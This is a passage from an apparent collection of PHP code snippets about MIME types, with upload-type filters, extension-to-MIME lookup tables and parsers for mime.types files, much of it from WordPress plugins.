'image/png',\n 'application/png',\n 'application/x-png'\n );\n }", "function wp_get_mime_types()\n {\n }", "public function getMimeTypes()\n {\n return explode(';', $this->response->getHeader('Content-Type')[0]);\n }", "public function getSupportedMIMETypes(): array\n {\n $mime = null;\n $mimeTypes = [];\n\n $response = preg_split(\"/\\n/\", $this->request('mime-types')) ?: [];\n\n foreach($response as $line)\n {\n if(preg_match('/^\\w+/', $line))\n {\n $mime = trim($line);\n $mimeTypes[$mime] = ['alias' => []];\n }\n else\n {\n [$key, $value] = preg_split('/:\\s+/', trim($line));\n\n if($key == 'alias')\n {\n $mimeTypes[$mime]['alias'][] = $value;\n }\n else\n {\n $mimeTypes[$mime][$key] = $value;\n }\n }\n }\n\n\n return $mimeTypes;\n }", "private function getMimeTypes()\n {\n return apply_filters('wplms_assignments_upload_mimes_array',array(\n 'JPG' => array(\n 'image/jpeg',\n 'image/jpg',\n 'image/jp_',\n 'application/jpg',\n 'application/x-jpg',\n 'image/pjpeg',\n 'image/pipeg',\n 'image/vnd.swiftview-jpeg',\n 'image/x-xbitmap'),\n 'GIF' => array(\n 'image/gif',\n 'image/x-xbitmap',\n 'image/gi_'),\n 'PNG' => array(\n 'image/png',\n 'application/png',\n 'application/x-png'),\n 'DOCX'=> 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'RAR'=> 'application/x-rar',\n 'ZIP' => array(\n 'application/zip',\n 'application/x-zip',\n 'application/x-zip-compressed',\n 'application/x-compress',\n 'application/x-compressed',\n 'multipart/x-zip'),\n 'DOC' => array(\n 'application/msword',\n 'application/doc',\n 'application/text',\n 'application/vnd.msword',\n 'application/vnd.ms-word',\n 'application/winword',\n 'application/word',\n 'application/x-msw6',\n 'application/x-msword'),\n 'PDF' => array(\n 'application/pdf',\n 'application/x-pdf',\n 'application/acrobat',\n 'applications/vnd.pdf',\n 'text/pdf',\n 'text/x-pdf'),\n 'PPT' => array(\n 'application/vnd.ms-powerpoint',\n 'application/mspowerpoint',\n 'application/ms-powerpoint',\n 'application/mspowerpnt',\n 'application/vnd-mspowerpoint',\n 'application/powerpoint',\n 'application/x-powerpoint',\n 'application/x-m'),\n 'PPTX'=> 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'PPS' => 'application/vnd.ms-powerpoint',\n 'PPSX'=> 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'PSD' => array('application/octet-stream',\n 'image/vnd.adobe.photoshop'\n ),\n 'ODT' => array(\n 'application/vnd.oasis.opendocument.text',\n 'application/x-vnd.oasis.opendocument.text'),\n 'XLS' => array(\n 'application/vnd.ms-excel',\n 'application/msexcel',\n 'application/x-msexcel',\n 'application/x-ms-excel',\n 'application/vnd.ms-excel',\n 'application/x-excel',\n 'application/x-dos_ms_excel',\n 'application/xls'),\n 'XLSX'=> array('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'application/vnd.ms-excel'),\n 'MP3' => array(\n 'audio/mpeg',\n 'audio/x-mpeg',\n 'audio/mp3',\n 'audio/x-mp3',\n 'audio/mpeg3',\n 'audio/x-mpeg3',\n 'audio/mpg',\n 'audio/x-mpg',\n 'audio/x-mpegaudio'),\n 'M4A' => array(\n 'audio/mp4a-latm',\n 'audio/m4a',\n 'audio/mp4'),\n 'OGG' => array(\n 'audio/ogg',\n 'application/ogg'),\n 'WAV' => array(\n 'audio/wav',\n 'audio/x-wav',\n 'audio/wave',\n 'audio/x-pn-wav'),\n 'WMA' => 'audio/x-ms-wma',\n 'MP4' => array(\n 'video/mp4v-es',\n 'audio/mp4',\n 'video/mp4'),\n 'M4V' => array(\n 'video/mp4',\n 'video/x-m4v'),\n 'MOV' => array(\n 'video/quicktime',\n 'video/x-quicktime',\n 'image/mov',\n 'audio/aiff',\n 'audio/x-midi',\n 'audio/x-wav',\n 'video/avi'),\n 'WMV' => 'video/x-ms-wmv',\n 'AVI' => array(\n 'video/avi',\n 'video/msvideo',\n 'video/x-msvideo',\n 'image/avi',\n 'video/xmpg2',\n 'application/x-troff-msvideo',\n 'audio/aiff',\n 'audio/avi'),\n 'MPG' => array(\n 'video/avi',\n 'video/mpeg',\n 'video/mpg',\n 'video/x-mpg',\n 'video/mpeg2',\n 'application/x-pn-mpg',\n 'video/x-mpeg',\n 'video/x-mpeg2a',\n 'audio/mpeg',\n 'audio/x-mpeg',\n 'image/mpg'),\n 'OGV' => 'video/ogg',\n '3GP' => array(\n 'audio/3gpp',\n 'video/3gpp'),\n '3G2' => array(\n 'video/3gpp2',\n 'audio/3gpp2'),\n 'FLV' => 'video/x-flv',\n 'WEBM'=> 'video/webm',\n 'APK' => 'application/vnd.android.package-archive',\n ));\n }", "function loadMimeTypes() {\n\t\tif( empty( $this->mMimeTypes )) {\n\t\t\t// use bitweavers mime.types file to ensure everyone has our set unless user forces his own.\n\t\t\tif( defined( 'MIME_TYPES' ) && is_file( MIME_TYPES )) {\n\t\t\t\t$mimeFile = MIME_TYPES;\n\t\t\t} else {\n\t\t\t\t$mimeFile = KERNEL_PKG_PATH.'admin/mime.types';\n\t\t\t}\n\n\t\t\t$this->mMimeTypes = array();\n\t\t\tif( $fp = fopen( $mimeFile,\"r\" ) ) {\n\t\t\t\twhile( FALSE != ( $line = fgets( $fp, 4096 ) ) ) {\n\t\t\t\t\tif( !preg_match( \"/^\\s*(?!#)\\s*(\\S+)\\s+(?=\\S)(.+)/\", $line, $match ) ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t$tmp = preg_split( \"/\\s/\",trim( $match[2] ) );\n\t\t\t\t\tforeach( $tmp as $type ) {\n\t\t\t\t\t\t$this->mMimeTypes[strtolower( $type )] = $match[1];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfclose( $fp );\n\t\t\t}\n\t\t}\n\t}", "private function loadMimeTypes ()\n\t\t{\n\t\t\tif ($this->mimeTypes === null)\n\t\t\t{\n\t\t\t\t$this->mimeTypes = [];\n\n\t\t\t\t$lines = file($this->mimeFile);\n\t\t\t\tforeach($lines as $line) {\n\t\t\t\t\t// skip comments\n\t\t\t\t\t$line = preg_replace('/#.*$/', '', $line);\n\t\t\t\t\t$line = trim($line);\n\t\t\t\t\tif($line === '') continue;\n\n\t\t\t\t\t$exts = preg_split('/\\s+/', $line);\n\t\t\t\t\t$mime = array_shift($exts);\n\t\t\t\t\tif(!$exts) continue;\n\t\t\t\t\tforeach($exts as $ext) {\n\t\t\t\t\t\tif(empty($ext)) continue;\n\t\t\t\t\t\tif(strlen($ext) > 4) continue; // we only handle 4 chars or less\n\t\t\t\t\t\t$this->mimeTypes[$ext] = $mime;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "static function loadMimeTypes() {\n\t\tif(@file_exists('/etc/mime.types')) {\n\t\t\t$mimeTypes = file('/etc/mime.types');\n\t\t\tforeach($mimeTypes as $typeSpec) {\n\t\t\t\tif(($typeSpec = trim($typeSpec)) && substr($typeSpec,0,1) != \"#\") {\n\t\t\t\t\t$parts = split(\"[ \\t\\r\\n]+\", $typeSpec);\n\t\t\t\t\tif(sizeof($parts) > 1) {\n\t\t\t\t\t\t$mimeType = array_shift($parts);\n\t\t\t\t\t\tforeach($parts as $ext) {\n\t\t\t\t\t\t\t$ext = strtolower($ext);\n\t\t\t\t\t\t\t$mimeData[$ext] = $mimeType;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t// Fail-over for if people don't have /etc/mime.types on their server. it's unclear how important this actually is\n\t\t} else {\n\t\t\t$mimeData = array(\n\t\t\t\t\"doc\" => \"application/msword\",\n\t\t\t\t\"xls\" => \"application/vnd.ms-excel\",\n\t\t\t\t\"rtf\" => \"application/rtf\",\n\t\t\t);\n\t\t}\n\n\t\tglobal $global_mimetypes;\n\t\t$global_mimetypes = $mimeData;\n\t\treturn $mimeData;\n\t}", "private function getAllowedFileTypes()\n {\n return str_replace('.', '', config('media.allowed', ''));\n }", "function get_post_mime_types()\n {\n }", "public function mime_types( $mimes ) {\r\n\r\n\t\t$mimes['ttf'] = 'font/ttf';\r\n\t\t$mimes['woff'] = 'font/woff';\r\n\t\t$mimes['svg'] = 'font/svg';\r\n\t\t$mimes['eot'] = 'font/eot';\r\n\r\n\t\treturn $mimes;\r\n\r\n\t}", "public function getAllowedMimeTypes($post_id=null)\n { \n if(empty($post_id)){\n global $post;\n $post_id = $post->ID;\n }\n $return = array();\n $pluginFileTypes = $this->getMimeTypes();\n $ext=$this->getAllowedFileExtensions($post_id);\n foreach($ext as $key){\n if(array_key_exists($key, $pluginFileTypes)){\n if(!function_exists('finfo_file') || !function_exists('mime_content_type')){\n if(($key == 'DOCX') || ($key == 'DOC') || ($key == 'PDF') ||\n ($key == 'ZIP') || ($key == 'RAR')){\n $return[] = 'application/octet-stream';\n }\n }\n if(is_array($pluginFileTypes[$key])){\n foreach($pluginFileTypes[$key] as $fileType){\n $return[] = $fileType;\n }\n } else {\n $return[] = $pluginFileTypes[$key];\n }\n }\n }\n return $return;\n }", "public function getAudioMimeTypes()\n {\n return array(\n 'audio/mpeg',\n 'audio/x-mpeg',\n 'audio/mp3',\n 'audio/x-mp3',\n 'audio/mpeg3',\n 'audio/x-mpeg3',\n 'audio/mpg',\n 'audio/x-mpg',\n 'audio/x-mpegaudio',\n 'audio/mp4a-latm',\n 'audio/ogg',\n 'application/ogg',\n 'audio/wav',\n 'audio/x-wav',\n 'audio/wave',\n 'audio/x-pn-wav',\n 'audio/x-ms-wma'\n );\n }", "public static function getMimeMapping()\n\t{\n\t\t// get current mimes\n\t\t$mimes = parent::getMimeMapping();\n\n\t\t// add missing mimes\n\t\t$mimes['mp3'][] = 'audio/mp3'; // necesary for Chrome unsolved bug\n\t\t$mimes['p7m'][] = 'application/pkcs7-mime';\n\t\t$mimes['kml'][] = 'application/octet-stream';\n\t\t$mimes['kmz'][] = 'application/octet-stream';\n\t\t\n\t\treturn $mimes;\n\t}", "public function supported_filetypes() {\n return '*';\n }", "public function getSupportedFileTypes(){\n\t\t$_url = $this->constants['SERVICE_ENTRY_POINT'].$this->constants['SERVICE_VERSION'].'/'.$this->constants['MISC_PATH'].'/supported-file-types';\n\t\t$response = $this->getRequests($_url)['response'];\n\t\treturn $response;\n\t}", "public static function exts_by_mime($type)\r\n {\r\n static $types = array();\r\n\r\n // Fill the static array\r\n if (empty($types))\r\n {\r\n $mimes = Core::config('mimes');\r\n foreach ($mimes as $ext => $ms)\r\n {\r\n foreach ($ms as $mime)\r\n {\r\n if ($mime == 'application/octet-stream')\r\n {\r\n // octet-stream is a generic binary\r\n continue;\r\n }\r\n\r\n if (!isset($types[$mime]))\r\n {\r\n $types[$mime] = array((string)$ext);\r\n }\r\n elseif (!in_array($ext, $types[$mime]))\r\n {\r\n $types[$mime][] = (string)$ext;\r\n }\r\n }\r\n }\r\n }\r\n\r\n return isset($types[$type])?$types[$type]:false;\r\n }", "public static function _mime_types($ext = '')\n {\n $mimes = array(\n 'xl' => 'application/excel',\n 'js' => 'application/javascript',\n 'hqx' => 'application/mac-binhex40',\n 'cpt' => 'application/mac-compactpro',\n 'bin' => 'application/macbinary',\n 'doc' => 'application/msword',\n 'word' => 'application/msword',\n 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',\n 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',\n 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',\n 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',\n 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',\n 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',\n 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',\n 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',\n 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',\n 'class' => 'application/octet-stream',\n 'dll' => 'application/octet-stream',\n 'dms' => 'application/octet-stream',\n 'exe' => 'application/octet-stream',\n 'lha' => 'application/octet-stream',\n 'lzh' => 'application/octet-stream',\n 'psd' => 'application/octet-stream',\n 'sea' => 'application/octet-stream',\n 'so' => 'application/octet-stream',\n 'oda' => 'application/oda',\n 'pdf' => 'application/pdf',\n 'ai' => 'application/postscript',\n 'eps' => 'application/postscript',\n 'ps' => 'application/postscript',\n 'smi' => 'application/smil',\n 'smil' => 'application/smil',\n 'mif' => 'application/vnd.mif',\n 'xls' => 'application/vnd.ms-excel',\n 'ppt' => 'application/vnd.ms-powerpoint',\n 'wbxml' => 'application/vnd.wap.wbxml',\n 'wmlc' => 'application/vnd.wap.wmlc',\n 'dcr' => 'application/x-director',\n 'dir' => 'application/x-director',\n 'dxr' => 'application/x-director',\n 'dvi' => 'application/x-dvi',\n 'gtar' => 'application/x-gtar',\n 'php3' => 'application/x-httpd-php',\n 'php4' => 'application/x-httpd-php',\n 'php' => 'application/x-httpd-php',\n 'phtml' => 'application/x-httpd-php',\n 'phps' => 'application/x-httpd-php-source',\n 'swf' => 'application/x-shockwave-flash',\n 'sit' => 'application/x-stuffit',\n 'tar' => 'application/x-tar',\n 'tgz' => 'application/x-tar',\n 'xht' => 'application/xhtml+xml',\n 'xhtml' => 'application/xhtml+xml',\n 'zip' => 'application/zip',\n 'mid' => 'audio/midi',\n 'midi' => 'audio/midi',\n 'mp2' => 'audio/mpeg',\n 'mp3' => 'audio/mpeg',\n 'mpga' => 'audio/mpeg',\n 'aif' => 'audio/x-aiff',\n 'aifc' => 'audio/x-aiff',\n 'aiff' => 'audio/x-aiff',\n 'ram' => 'audio/x-pn-realaudio',\n 'rm' => 'audio/x-pn-realaudio',\n 'rpm' => 'audio/x-pn-realaudio-plugin',\n 'ra' => 'audio/x-realaudio',\n 'wav' => 'audio/x-wav',\n 'bmp' => 'image/bmp',\n 'gif' => 'image/gif',\n 'jpeg' => 'image/jpeg',\n 'jpe' => 'image/jpeg',\n 'jpg' => 'image/jpeg',\n 'png' => 'image/png',\n 'tiff' => 'image/tiff',\n 'tif' => 'image/tiff',\n 'eml' => 'message/rfc822',\n 'css' => 'text/css',\n 'html' => 'text/html',\n 'htm' => 'text/html',\n 'shtml' => 'text/html',\n 'log' => 'text/plain',\n 'text' => 'text/plain',\n 'txt' => 'text/plain',\n 'rtx' => 'text/richtext',\n 'rtf' => 'text/rtf',\n 'vcf' => 'text/vcard',\n 'vcard' => 'text/vcard',\n 'xml' => 'text/xml',\n 'xsl' => 'text/xml',\n 'mpeg' => 'video/mpeg',\n 'mpe' => 'video/mpeg',\n 'mpg' => 'video/mpeg',\n 'mov' => 'video/quicktime',\n 'qt' => 'video/quicktime',\n 'rv' => 'video/vnd.rn-realvideo',\n 'avi' => 'video/x-msvideo',\n 'movie' => 'video/x-sgi-movie'\n );\n if (array_key_exists(strtolower($ext), $mimes)) {\n return $mimes[strtolower($ext)];\n }\n return 'application/octet-stream';\n }", "protected function get_media_types()\n {\n }", "public function getMimetype();", "function get_available_post_mime_types($type = 'attachment')\n {\n }", "public function mime_types( $mimes ) {\n\n\t\t$mimes['woff2'] = 'font/woff2';\n\t\t$mimes['woff'] = $this->get_mime( 'woff' ); \n\t\t$mimes['ttf'] = $this->get_mime( 'ttf' );\n\t\t$mimes['eot'] = $this->get_mime( 'eot' ); \n\t\t$mimes['svg'] = $this->get_mime( 'svg' );\n\n\t\treturn $mimes;\n\n\t}", "function allowed_media_upload_mimetypes( $mimes ){\n\t$allowed_mimes = array(\n\t 'jpg|jpeg|jpe' => 'image/jpeg',\n\t 'gif' => 'image/gif',\n\t 'png' => 'image/png',\n\t 'bmp' => 'image/bmp',\n\t 'tif|tiff' => 'image/tiff'\n\t);\n\treturn $allowed_mimes;\n}", "protected function getAcceptFileTypes()\n {\n $extensions = $this->getValidator()->getAllowedExtensions();\n if (!$extensions) {\n return [];\n }\n $extentionString = \"\";\n $i = 0;\n foreach ($extensions as $extension) {\n if ($i == 0) {\n $extentionString .= \".{$extension}\";\n } else {\n $extentionString .= \", .{$extension}\";\n }\n $i++;\n }\n return $extentionString;\n }", "function mimes_types(string $p_mime_type) {\n global $mimes;\n\n if (!isset($mime_types) || count($mime_types) == 0) {\n if (is_file(APPPATH.'config/mimes.php')) {\n include(APPPATH.'config/mimes.php');\n } else {\n return null;\n }\n\n $mime_types = $mimes;\n unset($mimes);\n }\n\n return (!isset($mime_types[$p_mime_type])) ? null : $mime_types[$p_mime_type];\n}", "public function getFileTypes() {\r\n return $this->fileTypes;\r\n }", "public function getFileTypes()\n {\n return $this->fileTypes;\n }", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n }", "public function cc_mime_types($mimes) {\n $mimes['avi'] = 'video/avi';\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n }", "function cc_mime_types( $mimes ) {\n\n\t$mimes['svg'] = 'image/svg+xml';\n\n\treturn $mimes;\n\n}", "public static function getTypes() {\n\t\treturn array(self::TYPE_FILE, self::TYPE_SOURCE, self::TYPE_THUMBNAIL);\n\t}", "private function supportedTypes(): array\n {\n return [\n EmailContent::MAIL_FORMAT_TEXT,\n EmailContent::MAIL_FORMAT_MARKDOWN,\n EmailContent::MAIL_FORMAT_HTML\n ];\n }", "public static function _mime_types($ext = '')\n {\n }", "public function custom_upload_mimes( $mime_types=array() ) {\n\n if(!array_key_exists('pdf', $mime_types)) $mime_types['pdf'] = 'application/pdf';\n if(!array_key_exists('tex', $mime_types)) $mime_types['tex'] = 'text/x-tex';\n if(!array_key_exists('gz', $mime_types)) $mime_types['gz'] = 'application/gzip';\n if(!array_key_exists('tar.gz', $mime_types)) $mime_types['tar.gz'] = 'application/gzip'; #just to be sure we also add this\n\n return $mime_types;\n }", "public function aws_allowed_mime_types( $types ) {\n\t\t\t// we only want...\n\t\t\treturn array(\n\t\t\t\t// Audio formats.\n\t\t\t\t'mp3|m4a|m4b' => 'audio/mpeg',\n\t\t\t\t'ra|ram' => 'audio/x-realaudio',\n\t\t\t\t'wav' => 'audio/wav',\n\t\t\t\t'ogg|oga' => 'audio/ogg',\n\t\t\t\t'mid|midi' => 'audio/midi',\n\t\t\t\t'wma' => 'audio/x-ms-wma',\n\t\t\t\t'wax' => 'audio/x-ms-wax',\n\t\t\t\t'mka' => 'audio/x-matroska',\n\t\t\t\t// Video formats.\n\t\t\t\t'asf|asx' => 'video/x-ms-asf',\n\t\t\t\t'wmv' => 'video/x-ms-wmv',\n\t\t\t\t'wmx' => 'video/x-ms-wmx',\n\t\t\t\t'wm' => 'video/x-ms-wm',\n\t\t\t\t'avi' => 'video/avi',\n\t\t\t\t'divx' => 'video/divx',\n\t\t\t\t'flv' => 'video/x-flv',\n\t\t\t\t'mov|qt' => 'video/quicktime',\n\t\t\t\t'mpeg|mpg|mpe' => 'video/mpeg',\n\t\t\t\t'mp4|m4v' => 'video/mp4',\n\t\t\t\t'ogv' => 'video/ogg',\n\t\t\t\t'webm' => 'video/webm',\n\t\t\t\t'mkv' => 'video/x-matroska',\n\t\t\t\t'3gp|3gpp' => 'video/3gpp', // Can also be audio\n\t\t\t\t'3g2|3gp2' => 'video/3gpp2', // Can also be audio\n\t\t\t);\n\t\t}", "function cc_mime_types($mimes) {\n\t$mimes['svg'] = 'image/svg+xml';\n\treturn $mimes;\n}", "function cc_mime_types($mimes) {\n\t$mimes['svg'] = 'image/svg+xml';\n\treturn $mimes;\n}", "function cc_mime_types($mimes) {\n\t$mimes['svg'] = 'image/svg+xml';\n\treturn $mimes;\n}", "public static function cc_mime_types($mimes) {\n $mimes['mp4'] = 'video/mp4';\n $mimes['avi'] = 'video/avi';\n $mimes['svg'] = 'image/svg+xml';\n $mimes['webp'] = 'image/webp';\n return $mimes;\n }", "function custom_mime_types($existing_mimes = array()) {\n\n //For example, the following line allows PDF uploads\n //$existing_mimes['pdf'] = 'application/pdf';\n \n return $existing_mimes;\n}", "function cc_mime_types( $mimes ) {\n\t\t$mimes['svg'] = 'image/svg+xml';\n\t\treturn $mimes;\n\t}", "function add_mime_types( $mime_types ) {\n\n\t\t$mime_types['json'] = 'application/json';\n\n\t\treturn $mime_types;\n\n\t}", "public static function mimeTypeExtensions ()\r\n\t{\r\n\t\t# Define the MIME Types; list taken from www.mimetype.org\r\n\t\t$mimeTypes = '\r\n\t\tapplication/SLA\tstl\r\n\t\tapplication/STEP\tstep\r\n\t\tapplication/STEP\tstp\r\n\t\tapplication/acad\tdwg\r\n\t\tapplication/andrew-inset\tez\r\n\t\tapplication/clariscad\tccad\r\n\t\tapplication/drafting\tdrw\r\n\t\tapplication/dsptype\ttsp\r\n\t\tapplication/dxf\tdxf\r\n\t\tapplication/excel\txls\r\n\t\tapplication/i-deas\tunv\r\n\t\tapplication/java-archive\tjar\r\n\t\tapplication/mac-binhex40\thqx\r\n\t\tapplication/mac-compactpro\tcpt\r\n\t\tapplication/vnd.ms-powerpoint\tpot\r\n\t\tapplication/vnd.ms-powerpoint\tpps\r\n\t\tapplication/vnd.ms-powerpoint\tppt\r\n\t\tapplication/vnd.ms-powerpoint\tppz\r\n\t\tapplication/msword\tdoc\r\n\t\tapplication/octet-stream\tbin\r\n\t\tapplication/octet-stream\tclass\r\n\t\tapplication/octet-stream\tdms\r\n\t\tapplication/octet-stream\texe\r\n\t\tapplication/octet-stream\tlha\r\n\t\tapplication/octet-stream\tlzh\r\n\t\tapplication/oda\toda\r\n\t\tapplication/ogg\togg\r\n\t\tapplication/ogg\togm\r\n\t\tapplication/pdf\tpdf\r\n\t\tapplication/pgp\tpgp\r\n\t\tapplication/postscript\tai\r\n\t\tapplication/postscript\teps\r\n\t\tapplication/postscript\tps\r\n\t\tapplication/pro_eng\tprt\r\n\t\tapplication/rtf\trtf\r\n\t\tapplication/set\tset\r\n\t\tapplication/smil\tsmi\r\n\t\tapplication/smil\tsmil\r\n\t\tapplication/solids\tsol\r\n\t\tapplication/vda\tvda\r\n\t\tapplication/vnd.mif\tmif\r\n\t\tapplication/vnd.ms-excel\txlc\r\n\t\tapplication/vnd.ms-excel\txll\r\n\t\tapplication/vnd.ms-excel\txlm\r\n\t\tapplication/vnd.ms-excel\txls\r\n\t\tapplication/vnd.ms-excel\txlw\r\n\t\tapplication/vnd.rim.cod\tcod\r\n\t\tapplication/x-arj-compressed\tarj\r\n\t\tapplication/x-bcpio\tbcpio\r\n\t\tapplication/x-cdlink\tvcd\r\n\t\tapplication/x-chess-pgn\tpgn\r\n\t\tapplication/x-cpio\tcpio\r\n\t\tapplication/x-csh\tcsh\r\n\t\tapplication/x-debian-package\tdeb\r\n\t\tapplication/x-director\tdcr\r\n\t\tapplication/x-director\tdir\r\n\t\tapplication/x-director\tdxr\r\n\t\tapplication/x-dvi\tdvi\r\n\t\tapplication/x-freelance\tpre\r\n\t\tapplication/x-futuresplash\tspl\r\n\t\tapplication/x-gtar\tgtar\r\n\t\tapplication/x-gunzip\tgz\r\n\t\tapplication/x-gzip\tgz\r\n\t\tapplication/x-hdf\thdf\r\n\t\tapplication/x-ipix\tipx\r\n\t\tapplication/x-ipscript\tips\r\n\t\tapplication/x-javascript\tjs\r\n\t\tapplication/x-koan\tskd\r\n\t\tapplication/x-koan\tskm\r\n\t\tapplication/x-koan\tskp\r\n\t\tapplication/x-koan\tskt\r\n\t\tapplication/x-latex\tlatex\r\n\t\tapplication/x-lisp\tlsp\r\n\t\tapplication/x-lotusscreencam\tscm\r\n\t\tapplication/x-mif\tmif\r\n\t\tapplication/x-msdos-program\tbat\r\n\t\tapplication/x-msdos-program\tcom\r\n\t\tapplication/x-msdos-program\texe\r\n\t\tapplication/x-netcdf\tcdf\r\n\t\tapplication/x-netcdf\tnc\r\n\t\tapplication/x-perl\tpl\r\n\t\tapplication/x-perl\tpm\r\n\t\tapplication/x-rar-compressed\trar\r\n\t\tapplication/x-sh\tsh\r\n\t\tapplication/x-shar\tshar\r\n\t\tapplication/x-shockwave-flash\tswf\r\n\t\tapplication/x-stuffit\tsit\r\n\t\tapplication/x-sv4cpio\tsv4cpio\r\n\t\tapplication/x-sv4crc\tsv4crc\r\n\t\tapplication/x-tar-gz\ttar.gz\r\n\t\tapplication/x-tar-gz\ttgz\r\n\t\tapplication/x-tar\ttar\r\n\t\tapplication/x-tcl\ttcl\r\n\t\tapplication/x-tex\ttex\r\n\t\tapplication/x-texinfo\ttexi\r\n\t\tapplication/x-texinfo\ttexinfo\r\n\t\tapplication/x-troff-man\tman\r\n\t\tapplication/x-troff-me\tme\r\n\t\tapplication/x-troff-ms\tms\r\n\t\tapplication/x-troff\troff\r\n\t\tapplication/x-troff\tt\r\n\t\tapplication/x-troff\ttr\r\n\t\tapplication/x-ustar\tustar\r\n\t\tapplication/x-wais-source\tsrc\r\n\t\tapplication/x-zip-compressed\tzip\r\n\t\tapplication/zip\tzip\r\n\t\taudio/TSP-audio\ttsi\r\n\t\taudio/basic\tau\r\n\t\taudio/basic\tsnd\r\n\t\taudio/midi\tkar\r\n\t\taudio/midi\tmid\r\n\t\taudio/midi\tmidi\r\n\t\taudio/mpeg\tmp2\r\n\t\taudio/mpeg\tmp3\r\n\t\taudio/mpeg\tmpga\r\n\t\taudio/ulaw\tau\r\n\t\taudio/x-aiff\taif\r\n\t\taudio/x-aiff\taifc\r\n\t\taudio/x-aiff\taiff\r\n\t\taudio/x-mpegurl\tm3u\r\n\t\taudio/x-ms-wax\twax\r\n\t\taudio/x-ms-wma\twma\r\n\t\taudio/x-pn-realaudio-plugin\trpm\r\n\t\taudio/x-pn-realaudio\tram\r\n\t\taudio/x-pn-realaudio\trm\r\n\t\taudio/x-realaudio\tra\r\n\t\taudio/x-wav\twav\r\n\t\tchemical/x-pdb\tpdb\r\n\t\tchemical/x-pdb\txyz\r\n\t\timage/cmu-raster\tras\r\n\t\timage/gif\tgif\r\n\t\timage/ief\tief\r\n\t\timage/jpeg\tjpe\r\n\t\timage/jpeg\tjpeg\r\n\t\timage/jpeg\tjpg\r\n\t\timage/png\tpng\r\n\t\timage/tiff\ttif tiff\r\n\t\timage/tiff\ttif\r\n\t\timage/tiff\ttiff\r\n\t\timage/x-cmu-raster\tras\r\n\t\timage/x-portable-anymap\tpnm\r\n\t\timage/x-portable-bitmap\tpbm\r\n\t\timage/x-portable-graymap\tpgm\r\n\t\timage/x-portable-pixmap\tppm\r\n\t\timage/x-rgb\trgb\r\n\t\timage/x-xbitmap\txbm\r\n\t\timage/x-xpixmap\txpm\r\n\t\timage/x-xwindowdump\txwd\r\n\t\tmodel/iges\tiges\r\n\t\tmodel/iges\tigs\r\n\t\tmodel/mesh\tmesh\r\n\t\tmodel/mesh\tmsh\r\n\t\tmodel/mesh\tsilo\r\n\t\tmodel/vrml\tvrml\r\n\t\tmodel/vrml\twrl\r\n\t\ttext/css\tcss\r\n\t\ttext/html\thtm\r\n\t\ttext/html\thtml htm\r\n\t\ttext/html\thtml\r\n\t\ttext/plain\tasc txt\r\n\t\ttext/plain\tasc\r\n\t\ttext/plain\tc\r\n\t\ttext/plain\tcc\r\n\t\ttext/plain\tf90\r\n\t\ttext/plain\tf\r\n\t\ttext/plain\th\r\n\t\ttext/plain\thh\r\n\t\ttext/plain\tm\r\n\t\ttext/plain\ttxt\r\n\t\ttext/richtext\trtx\r\n\t\ttext/rtf\trtf\r\n\t\ttext/sgml\tsgm\r\n\t\ttext/sgml\tsgml\r\n\t\ttext/tab-separated-values\ttsv\r\n\t\ttext/vnd.sun.j2me.app-descriptor\tjad\r\n\t\ttext/x-setext\tetx\r\n\t\ttext/xml\txml// This is disabled because XML has several different MIME Types\r\n\t\tvideo/dl\tdl\r\n\t\tvideo/fli\tfli\r\n\t\tvideo/flv\tflv\r\n\t\tvideo/gl\tgl\r\n\t\tvideo/mpeg\tmp2\r\n\t\tvideo/mpeg\tmpe\r\n\t\tvideo/mpeg\tmpeg\r\n\t\tvideo/mpeg\tmpg\r\n\t\tvideo/quicktime\tmov\r\n\t\tvideo/quicktime\tqt\r\n\t\tvideo/vnd.vivo\tviv\r\n\t\tvideo/vnd.vivo\tvivo\r\n\t\tvideo/x-fli\tfli\r\n\t\tvideo/x-ms-asf\tasf\r\n\t\tvideo/x-ms-asx\tasx\r\n\t\tvideo/x-ms-wmv\twmv\r\n\t\tvideo/x-ms-wmx\twmx\r\n\t\tvideo/x-ms-wvx\twvx\r\n\t\tvideo/x-msvideo\tavi\r\n\t\tvideo/x-sgi-movie\tmovie\r\n\t\twww/mime\tmime\r\n\t\tx-conference/x-cooltalk\tice\r\n\t\tx-world/x-vrml\tvrm\r\n\t\tx-world/x-vrml\tvrml';\r\n\t\t\r\n\t\t# Parse the list as array ($extension => $mimeType, ... )\r\n\t\t$list = array ();\r\n\t\t$mimeTypes = explode (\"\\n\", trim ($mimeTypes));\r\n\t\tforeach ($mimeTypes as $index => $line) {\r\n\t\t\tlist ($mimeType, $extension) = explode (\"\\t\", trim ($line), 2);\r\n\t\t\tif (substr_count ($extension, ' ')) {continue;}\t// Limit of 2 for some extensions in the source listing have two listed, e.g. \"asc txt\"\r\n\t\t\t$list[$extension] = $mimeType;\r\n\t\t}\r\n\t\t\r\n\t\t# Return the list\r\n\t\treturn $list;\r\n\t}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n $mimes['svg'] = 'image/svg+xml';\n return $mimes;\n}", "function cc_mime_types($mimes) {\n 